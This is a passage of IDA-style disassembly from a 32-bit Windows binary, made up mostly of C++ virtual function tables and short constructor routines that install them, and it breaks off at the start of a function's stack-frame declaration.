		dd offset sub_69B7251E
		dd offset sub_69B72956
		dd offset sub_69B72DBF
		dd offset sub_69B59D1C
		dd offset sub_69B7235C
		dd offset sub_69B6860C
		dd offset sub_69B72CC3
		dd offset nullsub_3
		dd offset sub_69B70398
		dd offset sub_69B72E2D
		dd offset nullsub_3
off_69B141E8	dd offset sub_69B448B2	; DATA XREF: sub_69B72048+8o
					; sub_69B72259+13o
		dd offset sub_69B18E45
		dd offset sub_69B19029
		dd offset sub_69B71C97
		dd offset sub_69B71CE8
		dd offset sub_69B720D9
off_69B14200	dd offset sub_69B745C5	; DATA XREF: sub_69B74DF9o
					; sub_69B74E46+8o
		dd offset sub_69B1F56C
		dd offset sub_69B7793E
		dd offset sub_69B5A0DE
		dd offset sub_69B3BB2E
		dd offset sub_69B74690
		dd offset sub_69B7470E
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B365E3
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A53
		dd offset sub_69B84A4B
		dd offset sub_69B84A43
		dd offset sub_69B84A43
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A43
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B365E3
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A43
		dd offset sub_69B84A43
		dd offset sub_69B84A43
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B365EB
		dd offset sub_69B747CE
		dd offset sub_69B74377
		dd offset sub_69B74840
		dd offset sub_69B748BF
		dd offset sub_69B743B9
		dd offset sub_69B7491F
		dd offset sub_69B74549
		dd offset sub_69B74D9D
		dd offset sub_69B74DCB
off_69B142D0	dd offset sub_69B2D67E	; DATA XREF: sub_69B74F48+Co
					; sub_69B751ED-254o
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B758F7
		dd offset sub_69B1B57D
		dd offset sub_69B1BF60
		dd offset sub_69B186A8
		dd offset sub_69B74E89
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B74FD3
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B74FB2
		dd offset sub_69B72956
		dd offset sub_69B72DBF
		dd offset sub_69B59D1C
		dd offset sub_69B7235C
		dd offset sub_69B6860C
		dd offset sub_69B72CC3
		dd offset nullsub_3
		dd offset sub_69B74E98
		dd offset sub_69B72E2D
		dd offset sub_69B750B7
off_69B14330	dd offset sub_69B2D67E	; DATA XREF: sub_69B76631+1Eo
					; sub_69B767E2+2Fo
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B18284
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B2D632
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset nullsub_5
		dd offset sub_69B765E6
		dd offset sub_69B765D2
off_69B14370	dd offset sub_69B2D67E	; DATA XREF: sub_69B88D77-12492o
					; sub_69B768F4+Eo
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B76ABA
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B2D632
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B88DCD
		dd offset nullsub_5
		dd offset nullsub_5
off_69B143A8	dd offset sub_69B7D61C	; DATA XREF: sub_69B77918+Co
					; sub_69B77998+9o
		dd offset sub_69B1F56C
		dd offset sub_69B7793E
		dd offset sub_69B5A0DE
		dd offset sub_69B3BB2E
		dd offset sub_69B7794D
		dd offset sub_69B3C310
		dd offset sub_69B774D4
		dd offset sub_69B7759C
		dd offset sub_69B7767C
		dd offset sub_69B7771C
		dd offset sub_69B777C4
off_69B143D8	dd offset loc_69B788CD	; DATA XREF: sub_69B7885C+18o
					; sub_69B78994+13o
		dd offset sub_69B7DC36
		dd offset loc_69B788B3
		dd offset loc_69B788BD
		dd offset sub_69B3F483
		dd offset sub_69B3F48B
		dd offset sub_69B3F493
		dd offset loc_69B788C5
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B788D7
		dd offset sub_69B782DC
		dd offset sub_69B78447
		dd offset sub_69B78457
off_69B1441C	dd offset loc_69B78126	; DATA XREF: sub_69B7885C+Bo
					; sub_69B78994+19o
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B78A04
		dd offset sub_69B1B57D
		dd offset sub_69B1BF60
		dd offset sub_69B186A8
		dd offset sub_69B77AE6
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B780C6
		align 8
off_69B14458	dd offset sub_69B2D67E	; DATA XREF: sub_69B792D7+25o
					; sub_69B794F9+36o
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B18284
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B2D632
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B79CEA
		dd offset sub_69B792A8
		dd offset sub_69B7961B
off_69B14498	dd offset loc_69B6F655	; DATA XREF: sub_69B7937D+11o
					; sub_69B79659+1Ao
		dd offset loc_69B6F65F
		dd offset loc_69B6F669
		dd offset sub_69B79316
		dd offset sub_69B7931E
		dd offset sub_69B79326
		dd offset sub_69B7932E
		dd offset sub_69B6860C
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B79636
		dd offset sub_69B35BF2
		dd offset sub_69B79167
		dd offset sub_69B79094
		dd offset sub_69B79D26
		dd offset sub_69B79731
		dd offset sub_69B79A18
		dd offset sub_69B79A87
		dd offset sub_69B79E62
		dd offset sub_69B79422
		dd offset sub_69B7916F
		dd offset sub_69B7909F
		dd offset sub_69B79B12
off_69B14500	dd offset sub_69B6547B	; DATA XREF: sub_69B7937D+Bo
					; sub_69B79659+20o
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B7963E
		dd offset sub_69B1B57D
		dd offset sub_69B1BF60
		dd offset sub_69B186A8
		dd offset sub_69B2D6C8
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B7940C
off_69B14538	dd offset sub_69B7D61C	; DATA XREF: sub_69B7D5F6+Co
					; sub_69B7D669+9o
		dd offset sub_69B1F56C
		dd offset sub_69B7793E
		dd offset sub_69B5A0DE
		dd offset sub_69B3BB2E
		dd offset sub_69B7794D
		dd offset sub_69B3C310
		dd offset sub_69B7CD5B
		dd offset sub_69B7CEAC
		dd offset sub_69B7CF44
		dd offset sub_69B7CFDC
		dd offset sub_69B7D074
		dd offset sub_69B7CE1C
		dd offset sub_69B7D374
		dd offset sub_69B7D40C
		dd offset sub_69B7D114
		dd offset sub_69B7D244
		dd offset sub_69B7D1AC
		dd offset sub_69B7D2DC
		dd offset sub_69B7D4A4
		dd offset sub_69B7D53C
		align 10h
off_69B14590	dd offset loc_69B7B60C	; DATA XREF: sub_69B7DBC3+4o
					; sub_69B7DE94+Ao
		dd offset sub_69B17349
		dd offset sub_69B7DCB7
		dd offset sub_69B7DF93
		dd offset sub_69B1B57D
		dd offset sub_69B1BF60
		dd offset sub_69B186A8
		dd offset sub_69B88F77
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B7DC68
		dd offset sub_69B7D68D
		dd offset sub_69B7C36E
		dd offset sub_69B7C40C
		dd offset sub_69B7DCED
		dd offset sub_69B7B7FD
		dd offset sub_69B7B899
		dd offset sub_69B7B8DB
		dd offset sub_69B7B838
		dd offset sub_69B7B9B8
		dd offset sub_69B7BA94
		dd offset sub_69B7BA11
		dd offset sub_69B7BC1C
		dd offset sub_69B7B948
		dd offset sub_69B7AFB0
dword_69B14600	dd 0F5078F28h, 11D3C551h, 0B989h, 21E21FF8h, 0F5078F29h
					; DATA XREF: .text:69B1C754o
					; sub_69B7E3E4+6o
		dd 11D3C551h, 0B989h, 21E21FF8h
off_69B14620	dd offset sub_69B7E18D	; DATA XREF: sub_69B7EB86+4o
					; sub_69B7FA79+Do
		dd offset sub_69B7E1A4
		dd offset sub_69B7E1B4
		dd offset sub_69B7E3E4
		dd offset sub_69B1EC38
		dd offset sub_69B800FB
		dd offset sub_69B84A4B
		dd offset sub_69B84A43
		dd offset sub_69B7E3FA
		dd offset sub_69B7FAF4
off_69B14648	dd offset sub_69B8097A	; DATA XREF: sub_69B8097A+8o
					; sub_69B80B11+17o
		dd offset sub_69B6860C
		dd offset nullsub_5
		dd offset nullsub_5
		dd offset nullsub_5
		dd offset sub_69B6860C
off_69B14660	dd offset sub_69B80F68	; DATA XREF: sub_69B80B11+6o
					; sub_69B80F42+7o
		dd offset sub_69B6860C
		dd offset nullsub_5
		dd offset nullsub_5
		dd offset sub_69B80B34
		dd offset sub_69B80B30
off_69B14678	dd offset sub_69B816FA	; DATA XREF: sub_69B816BB+8o
					; sub_69B81864+Co
		dd offset sub_69B18E45
		dd offset sub_69B19029
		dd offset sub_69B81135
		dd offset sub_69B81157
		dd offset sub_69B81175
		dd offset sub_69B81193
		dd offset sub_69B811BC
		dd offset sub_69B811DE
		dd offset sub_69B81200
		dd offset sub_69B81229
off_69B146A4	dd offset sub_69B816FA	; DATA XREF: sub_69B81774+8o
					; sub_69B818AE+1Ao
		dd offset sub_69B18E45
		dd offset sub_69B19029
		dd offset sub_69B8136F
		dd offset sub_69B55F23
		dd offset sub_69B55F23
		dd offset sub_69B81389
		dd offset sub_69B813F9
		dd offset sub_69B8141F
		dd offset sub_69B81475
		dd offset sub_69B82AF4
off_69B146D0	dd offset sub_69B817DF	; DATA XREF: sub_69B817C6o
					; sub_69B81908+13o
		dd offset sub_69B18E45
		dd offset sub_69B19029
		dd offset sub_69B814F6
		dd offset sub_69B365F3
		dd offset sub_69B365F3
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B365E3
		align 8
off_69B146F8	dd offset loc_69B81B32	; DATA XREF: sub_69B81A91+8o
					; sub_69B8215B+9o
		dd offset sub_69B81BB0
		dd offset loc_69B81E90
		dd offset loc_69B81BC1
		dd offset sub_69B1EC38
		dd offset sub_69B81BD7
		dd offset sub_69B81C2C
		dd offset sub_69B81AC2
		dd offset sub_69B81AD6
		dd offset sub_69B81EBA
		dd offset sub_69B365E3
		dd offset sub_69B84A4B
		dd offset sub_69B84A43
		dd offset sub_69B81AED
		dd offset sub_69B81AF3
		dd offset sub_69B84A4B
		dd offset sub_69B84A4B
		dd offset sub_69B84A3B
		dd offset sub_69B84A43
		dd offset sub_69B84A43
		dd offset sub_69B81B05
		dd offset sub_69B365EB
		dd offset sub_69B81B23
off_69B14754	dd offset sub_69B82F06	; DATA XREF: sub_69B82CB4+12o
					; sub_69B82F37+Fo
		dd offset sub_69B18E45
		dd offset sub_69B19029
		dd offset sub_69B83AAA
		dd offset sub_69B836B7
		dd offset sub_69B83717
		dd offset sub_69B842BA
		dd offset sub_69B8436C
		align 8
off_69B14778	dd offset sub_69B2D67E	; DATA XREF: sub_69B1D811+17o
					; sub_69B8A2FC+Co ...
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B8A425
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B8A0FE
		dd offset sub_69B1B57D
		dd offset sub_69B8A3A3
		dd offset sub_69B8A123
		dd offset sub_69B8A280
		dd offset nullsub_5
		dd offset sub_69B8A104
		dd offset sub_69B8A32C
		dd offset sub_69B1D842
off_69B147B8	dd offset sub_69B2D67E	; DATA XREF: sub_69B8A440+Co
					; sub_69B8A4FA-63o
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B8A425
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B8A2C7
		dd offset sub_69B1B57D
		dd offset sub_69B8A3A3
		dd offset sub_69B8A123
		dd offset sub_69B8A280
		dd offset nullsub_5
		dd offset sub_69B8A104
		dd offset sub_69B8A2D8
		dd offset sub_69B1D842
off_69B147F8	dd offset sub_69B2D67E	; DATA XREF: sub_69B8A676-32o
					; sub_69B8A65E+Co
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B8A425
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B8A629
		dd offset sub_69B1B57D
		dd offset sub_69B8A3A3
		dd offset sub_69B8A123
		dd offset sub_69B8A280
		dd offset nullsub_5
		dd offset sub_69B8A104
		dd offset sub_69B8A32C
		dd offset sub_69B1D842
		dd offset sub_69B8A6A0
		dd offset sub_69B8A6A9
		dd offset sub_69B8A6C5
		dd offset sub_69B8A64E
		dd offset sub_69B8A6F8
		align 10h
off_69B14850	dd offset sub_69B2D67E	; DATA XREF: sub_69B8AD6D+3Ao
					; sub_69B8B436+20o
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B18284
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B2D632
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B8AF25
		dd offset sub_69B792A8
		dd offset sub_69B8AE35
off_69B14890	dd offset sub_69B2D67E	; DATA XREF: sub_69B8ACCF+37o
					; sub_69B8B407+23o
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B18284
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B2D632
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B8AEDA
		dd offset sub_69B8AB3A
		dd offset sub_69B8ADE8
off_69B148D0	dd offset sub_69B2D67E	; DATA XREF: sub_69B8C728+7o
					; sub_69B8CAAF+Eo
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B8CAFC
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B2D632
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B8C767
		dd offset sub_69B8C75D
		align 10h
off_69B14910	dd offset sub_69B2D67E	; DATA XREF: sub_69B8CB17+18o
					; sub_69B8CBD2+Eo
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B8CBF1
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B2D632
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B8CB9A
		dd offset sub_69B8C64B
		dd offset sub_69B8CB95
off_69B14950	dd offset sub_69B2D67E	; DATA XREF: sub_69B8CDB7-2Eo
					; sub_69B8D083-17o
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B8D034
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B2D632
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B8CDA1
		dd offset sub_69B8C75D
off_69B1498C	dd offset sub_69B448B2	; DATA XREF: sub_69B8D0D7+Fo
					; sub_69B8D12A+Fo
		dd offset sub_69B18E45
		dd offset sub_69B19029
		dd offset sub_69B8D237
		dd offset sub_69B8D4D5
		dd offset sub_69B8D56F
		dd offset sub_69B5CD37
		dd offset sub_69B8D25F
off_69B149AC	dd offset sub_69B448B2	; DATA XREF: sub_69B8D93D+10o
					; sub_69B8F007+Ao
		dd offset sub_69B18E45
		dd offset sub_69B19029
		dd offset sub_69B8ECE6
		dd offset sub_69B8DB4C
		dd offset sub_69B8EE33
		dd offset sub_69B8DA4B
		dd offset sub_69B8E714
off_69B149CC	dd offset sub_69B2D67E	; DATA XREF: sub_69B8FFC9+8o
					; sub_69B90002+Bo
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B90098
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B2D632
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B8FFE3
off_69B14A04	dd offset sub_69B2D67E	; DATA XREF: sub_69B901B8+Co
					; sub_69B901E8+17o ...
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B903B7
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B900EB
		dd offset sub_69B900F1
		dd offset sub_69B9011A
		dd offset sub_69B90369
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset nullsub_5
; ---------------------------------------------------------------------------


loc_69B14A3C:				; DATA XREF: .text:off_69B3CD00o
		push	esi
		push	edi
		mov	edi, [esp+0Ch]
		lea	eax, [edi+1]
		shl	eax, 4
		push	eax
		call	sub_69B17EF3
		mov	esi, eax
		mov	ecx, esi
		mov	[esi+8], edi
		call	sub_69B19118
		pop	edi
		mov	dword ptr [esi], offset	off_69B14A68
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		align 4
off_69B14A68	dd offset sub_69B2D67E	; DATA XREF: .text:69B14A5Bo
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B18284
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B2D632
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B3CF17
		dd offset sub_69B3CAC8
		dd offset sub_69B3CACC

; =============== S U B	R O U T	I N E =======================================



sub_69B14AA8	proc near		; CODE XREF: sub_69B43D3C+83p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	esi, ecx
		call	sub_69B43784
		push	[esp+8+arg_0]
		lea	edi, [esi+1Ch]
		mov	ecx, edi
		call	sub_69B43314
		mov	eax, [esp+8+arg_4]
		cmp	eax, 0FFFFFFFFh
		mov	dword ptr [edi], offset	off_69B14B74
		setnz	cl
		mov	[esi+38h], eax
		pop	edi
		mov	dword ptr [esi], offset	off_69B14B44
		mov	dword ptr [esi+4], offset off_69B14B34
		mov	dword ptr [esi+0Ch], offset off_69B28078
		mov	dword ptr [esi+18h], offset off_69B14AF8
		mov	[esi+34h], cl
		mov	eax, esi
		pop	esi
		retn	8
sub_69B14AA8	endp

; ---------------------------------------------------------------------------
		align 4
off_69B14AF8	dd offset loc_69B43B52	; DATA XREF: sub_69B14AA8+3Fo
		dd offset sub_69B43BC0
		dd offset sub_69B5A11A
		dd offset sub_69B5A124
		dd offset sub_69B5A12B
		dd offset sub_69B5A135
		dd offset sub_69B5A13F
		dd offset loc_69B43ABD
		dd offset sub_69B43AD8
		dd offset sub_69B84A43
		dd offset sub_69B84A3B
		dd offset sub_69B84A4B
		dd offset sub_69B84A43
		dd offset sub_69B84A4B
		dd offset sub_69B84A3B
off_69B14B34	dd offset loc_69B43B48	; DATA XREF: sub_69B14AA8+31o
		dd offset sub_69B5A0FC
		dd offset sub_69B5A106
		dd offset sub_69B2CF0E
off_69B14B44	dd offset loc_69B43356	; DATA XREF: sub_69B14AA8+2Bo
		dd offset sub_69B1F56C
		dd offset sub_69B7793E
		dd offset sub_69B5A0DE
		dd offset sub_69B3BB2E
		dd offset sub_69B7794D
		dd offset sub_69B3C310
		dd offset sub_69B43BCA
		dd offset sub_69B43BE2
		dd offset sub_69B43BF6
		dd offset sub_69B43B66
		dd offset sub_69B43C0A
off_69B14B74	dd offset loc_69B43AA9	; DATA XREF: sub_69B14AA8+1Eo
		dd offset sub_69B43B0F
		dd offset sub_69B43B1F
		dd offset sub_69B43B5C
		dd offset sub_69B43B07
		dd offset sub_69B4058D

; =============== S U B	R O U T	I N E =======================================



sub_69B14B8C	proc near		; CODE XREF: sub_69B43C62+73p
					; .text:69B5450Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	esi, ecx
		call	sub_69B437A5
		push	[esp+8+arg_0]
		lea	edi, [esi+1Ch]
		mov	ecx, edi
		call	sub_69B43314
		mov	eax, [esp+8+arg_4]
		mov	dword ptr [edi], offset	off_69B14C64
		mov	[esi+34h], eax
		pop	edi
		mov	dword ptr [esi], offset	off_69B14C20
		mov	dword ptr [esi+4], offset off_69B14C10
		mov	dword ptr [esi+0Ch], offset off_69B28078
		mov	dword ptr [esi+18h], offset off_69B14BD4
		mov	eax, esi
		pop	esi
		retn	8
sub_69B14B8C	endp

; ---------------------------------------------------------------------------
		align 4
off_69B14BD4	dd offset loc_69B43C28	; DATA XREF: sub_69B14B8C+39o
		dd offset sub_69B43BC0
		dd offset sub_69B5A11A
		dd offset sub_69B5A124
		dd offset sub_69B5A12B
		dd offset sub_69B5A135
		dd offset sub_69B5A13F
		dd offset sub_69B43B76
		dd offset sub_69B43B91
		dd offset sub_69B84A43
		dd offset sub_69B84A3B
		dd offset sub_69B84A4B
		dd offset sub_69B84A43
		dd offset sub_69B84A4B
		dd offset sub_69B84A3B
off_69B14C10	dd offset loc_69B43C1E	; DATA XREF: sub_69B14B8C+2Bo
		dd offset sub_69B5A0FC
		dd offset sub_69B5A106
		dd offset sub_69B2CF0E
off_69B14C20	dd offset loc_69B4344C	; DATA XREF: sub_69B14B8C+25o
		dd offset sub_69B1F56C
		dd offset sub_69B7793E
		dd offset sub_69B5A0DE
		dd offset sub_69B3BB2E
		dd offset sub_69B7794D
		dd offset sub_69B3C310
		dd offset sub_69B4097C
		dd offset sub_69B435DC
		dd offset sub_69B40A6C
		dd offset sub_69B43BCA
		dd offset sub_69B43BE2
		dd offset sub_69B40BD6
		dd offset sub_69B40CBC
		dd offset sub_69B43BF6
		dd offset sub_69B43B66
		dd offset sub_69B43C0A
off_69B14C64	dd offset loc_69B43AA9	; DATA XREF: sub_69B14B8C+1Bo
		dd offset sub_69B43B0F
		dd offset sub_69B43B1F
		dd offset sub_69B43B5C
		dd offset sub_69B43B07
		dd offset sub_69B405D3

; =============== S U B	R O U T	I N E =======================================



sub_69B14C7C	proc near		; CODE XREF: sub_69B1C12C+2E8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_69B440C4
		push	[esp+4+arg_4]
		lea	eax, [esi+14h]
		mov	dword ptr [esi], offset	off_69B14CAC
		mov	dword ptr [esi+4], offset off_69B280B8
		and	dword ptr [eax], 0
		push	eax
		call	sub_69B17320
		mov	eax, esi
		pop	esi
		retn	8
sub_69B14C7C	endp

; ---------------------------------------------------------------------------
		align 4
off_69B14CAC	dd offset sub_69B45BAF	; DATA XREF: sub_69B14C7C+13o
		dd offset sub_69B18E45
		dd offset sub_69B19029
		dd offset sub_69B88815
		dd offset sub_69B1EC38
		dd offset sub_69B888D4
		dd offset sub_69B84A4B
		dd offset sub_69B84A43
		dd offset sub_69B8898C

; =============== S U B	R O U T	I N E =======================================



sub_69B14CD0	proc near		; CODE XREF: sub_69B1C12C+2F54p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_69B440DE
		push	[esp+4+arg_4]
		lea	eax, [esi+14h]
		mov	dword ptr [esi], offset	off_69B14D00
		mov	dword ptr [esi+4], offset off_69B280B8
		and	dword ptr [eax], 0
		push	eax
		call	sub_69B17320
		mov	eax, esi
		pop	esi
		retn	8
sub_69B14CD0	endp

; ---------------------------------------------------------------------------
		align 10h
off_69B14D00	dd offset sub_69B45BAF	; DATA XREF: sub_69B14CD0+13o
		dd offset sub_69B18E45
		dd offset sub_69B19029
		dd offset sub_69B598E8
		dd offset sub_69B59994

; =============== S U B	R O U T	I N E =======================================



sub_69B14D14	proc near		; CODE XREF: sub_69B1C12C+2ED4p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_69B440F8
		mov	dword ptr [esi], offset	off_69B14D38
		mov	dword ptr [esi+4], offset off_69B14D34
		mov	eax, esi
		pop	esi
		retn	4
sub_69B14D14	endp

; ---------------------------------------------------------------------------
		align 4
off_69B14D34	dd offset sub_69B45851	; DATA XREF: sub_69B14D14+12o
off_69B14D38	dd offset sub_69B45BAF	; DATA XREF: sub_69B14D14+Co
		dd offset sub_69B18E45
		dd offset sub_69B19029
		dd offset sub_69B59A34

; =============== S U B	R O U T	I N E =======================================



sub_69B14D48	proc near		; CODE XREF: sub_69B1C12C+2DA7p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_69B45880
		push	[esp+4+arg_4]
		lea	eax, [esi+14h]
		mov	dword ptr [esi], offset	off_69B14D78
		mov	dword ptr [esi+4], offset off_69B280B8
		and	dword ptr [eax], 0
		push	eax
		call	sub_69B17320
		mov	eax, esi
		pop	esi
		retn	8
sub_69B14D48	endp

; ---------------------------------------------------------------------------
		align 4
off_69B14D78	dd offset sub_69B45BAF	; DATA XREF: sub_69B14D48+13o
		dd offset sub_69B18E45
		dd offset sub_69B19029
		dd offset sub_69B88A3C
		dd offset sub_69B88C6C
		dd offset sub_69B88AFC
		dd offset sub_69B88BA4
		dd offset sub_69B84A3B
		dd offset sub_69B8CB95

; =============== S U B	R O U T	I N E =======================================



sub_69B14D9C	proc near		; CODE XREF: sub_69B46F1C+Ep
		push	esi
		mov	esi, ecx
		call	sub_69B19118
		xor	eax, eax
		mov	dword ptr [esi], offset	off_69B14DBC
		mov	[esi+8], eax
		mov	[esi+10h], eax
		mov	[esi+14h], al
		mov	eax, esi
		pop	esi
		retn
sub_69B14D9C	endp

; ---------------------------------------------------------------------------
		align 4
off_69B14DBC	dd offset sub_69B2D67E	; DATA XREF: sub_69B14D9C+Ao
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B47103
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B2D632
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B46F8F

; =============== S U B	R O U T	I N E =======================================



sub_69B14DF4	proc near		; CODE XREF: sub_69B46FAD+Ep
		push	esi
		mov	esi, ecx
		call	sub_69B19118
		mov	dword ptr [esi], offset	off_69B14E10
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		mov	eax, esi
		pop	esi
		retn
sub_69B14DF4	endp

; ---------------------------------------------------------------------------
		align 10h
off_69B14E10	dd offset sub_69B2D67E	; DATA XREF: sub_69B14DF4+8o
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B78671
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B2D632
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B46FEC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B4700D


loc_69B14E48:				; CODE XREF: sub_69B4700D+Dj
		push	esi
		mov	esi, ecx
		call	sub_69B19118
		mov	dword ptr [esi], offset	off_69B14E74
		mov	dword ptr [esi+8], offset off_69B14E6C
		and	dword ptr [esi+0Ch], 0
		and	dword ptr [esi+10h], 0
		mov	eax, esi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_69B4700D
; ---------------------------------------------------------------------------
		align 4
off_69B14E6C	dd offset loc_69B46882	; DATA XREF: sub_69B4700D-321B7o
		dd offset loc_69B468B5
off_69B14E74	dd offset sub_69B2D67E	; DATA XREF: sub_69B4700D-321BDo
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B47157
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B2D632
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B47022

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B14EAC	proc near		; CODE XREF: sub_69B42A54+A3p

var_1C		= word ptr -1Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
